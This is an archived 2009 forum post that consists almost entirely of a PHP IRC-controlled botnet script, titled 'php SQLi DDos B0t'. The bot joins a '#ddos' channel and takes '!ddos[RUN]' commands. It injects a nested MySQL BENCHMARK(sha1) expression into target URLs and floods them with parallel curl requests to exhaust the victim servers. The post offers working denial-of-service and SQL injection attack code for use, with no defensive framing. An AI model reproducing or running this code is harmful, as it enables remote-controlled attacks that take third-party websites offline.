PDA

View Full Version : php SQLi DDos B0t


V4HID.ir
08-07-2009, 12:37 AM
<?php
$irc_server = "yourserver";
$irc_port = "6667";

$channel = "#ddos";
$channel_pass = "ddos";

$nick = "LudiX-".time();
$reg_con = "$nick \"localhost\" \"$irc_server\" :fr0z3n";

##########################
## END OF CONFIGURATION ##
##########################

$irc_socket = fsockopen($irc_server, $irc_port);
$dd0s = 0;
$dozzed = 1;
if(!$irc_socket)
{
print "[-] Could not connect to $irc_server\n[!] Check your config!";
exit;
}
print "[x] Connected to $irc_server\n";


fputs($irc_socket, "USER $reg_con\r\n");
fputs($irc_socket, "nick $nick\r\n");


while(!feof($irc_socket))
{
$buffer = fgets($irc_socket);
#print $buffer;
if(preg_match("[^PING (.*)]", $buffer, $analyse))
{
fputs($irc_socket, "PONG $analyse[1]");
}


if(preg_match("[376 $nick :End of /MOTD]", $buffer))
{
print "[x] End of /MOTD command.\n[x] Joining $channel\r\n";
fputs($irc_socket, "join $channel $channel_pass\n");
}


if(preg_match("[.*PRIVMSG .* :!ddos\[RUN\] (.*)\ -i (.*) -t (.*)]", $buffer, $dat))
{
$host = $dat[1];
$x = $dat[2];
$threads = trim($dat[3]);
$host = str_replace("ddos", "BENCHMARK(100000000000,BENCHMARK(99999999999999999 9999,sha1(1)))", $host);

preg_match("[(http://.*\.php).*]", $host, $print);
fputs($irc_socket, "PRIVMSG $channel :STARTING DDOS for $x times with $threads threads [".$print[1]."]\r\n");
print $host;
$dd0s = 1;
}


if($dozzed == $x)
{
$dd0s = 0;
$dozzed = 1;
$x = 0;
$threads = 1;
fputs($irc_socket, "PRIVMSG $channel :FINISHED DDOS\r\n");
}

if($dd0s == 1)
{
ddos($host, $threads, $irc_socket, $channel);
++$dozzed;
}

}


function ddos($host, $x, $irc_socket, $channel)
{

$i = 0;
$mh = curl_multi_init();
while($i < $x)
{
$ch[$i] = curl_init();
curl_setopt($ch[$i], CURLOPT_URL, "$host");
curl_setopt($ch[$i], CURLOPT_HEADER, 0);
curl_setopt($ch[$i], CURLOPT_TIMEOUT, 20);
curl_setopt($ch[$i], CURLOPT_MUTE, TRUE);
curl_multi_add_handle($mh,$ch[$i]);
++$i;
}
$running=null;
do {
$eater = curl_multi_exec($mh,$running);
} while($running > 0);

$i = 0;
while($i < $x)
{
curl_multi_remove_handle($mh,$ch[$i]);
++$i;
}
curl_multi_close($mh);
}

?>